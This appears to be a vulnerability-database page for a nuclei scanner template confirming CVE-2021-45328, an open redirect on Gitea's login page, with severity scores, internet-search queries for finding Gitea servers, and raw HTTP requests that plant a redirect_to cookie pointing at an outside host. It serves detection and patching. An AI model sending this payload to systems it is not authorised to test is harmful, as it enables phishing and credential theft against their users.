Gitea < 1.4.3 - Open Redirect

mediumseverity

6.1CVSS score

1%likelihood of exploitation, next 30 days

64%of all CVEs are less likely

Readycheck to confirm it

Gitea before version 1.4.3 is affected by URL Redirection to Untrusted Site ('Open Redirect') via internal URLs. The vulnerability exists in the redirect_to parameter used on the login page (/user/login). Due to improper validation of the redirect URL, an attacker can craft a malicious link that redirects authenticated users to an arbitrary external website after login.

Impact

An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.

Fix

Upgrade Gitea to version 1.4.3 or later to fix the open redirect vulnerability.

How to confirm it

Send: GET /user/login ; POST /user/login
Positive when: matches in header_2 /(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*…/ AND status 302

Run it with nuclei: nuclei -id CVE-2021-45328 -u <target>

The full check

id: CVE-2021-45328

info:
  name: Gitea < 1.4.3 - Open Redirect
  author: ritikchaddha
  severity: medium
  description: |
    Gitea before version 1.4.3 is affected by URL Redirection to Untrusted Site ('Open Redirect') via internal URLs. The vulnerability exists in the redirect_to parameter used on the login page (/user/login). Due to improper validation of the redirect URL, an attacker can craft a malicious link that redirects authenticated users to an arbitrary external website after login.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the theft of sensitive information.
  remediation: |
    Upgrade Gitea to version 1.4.3 or later to fix the open redirect vulnerability.
  reference:
    - https://github.com/go-gitea/gitea/issues/4332
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45328
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-45328
    cwe-id: CWE-601
    epss-score: 0.01011
    epss-percentile: 0.63443
    cpe: cpe:2.3:a:gitea:gitea:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: gitea
    product: gitea
    shodan-query:
      - title:"Gitea"
      - http.html:"powered by gitea version"
      - http.title:"gitea"
      - cpe:"cpe:2.3:a:gitea:gitea"
    fofa-query:
      - body="powered by gitea version"
      - title="gitea"
    google-query: intitle:"gitea"
  tags: cve,cve2021,redirect,gitea

http:
  - raw:
      - |
        GET /user/login HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /user/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: redirect_to=//interact.sh/

        _csrf={{csrf}}&user_name={{username}}&password={{url_encode(password)}}

    matchers-condition: and
    matchers:
      - type: regex
        part: header_2
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$'

      - type: status
        status:
          - 302

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'name="_csrf" value="(.*)"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from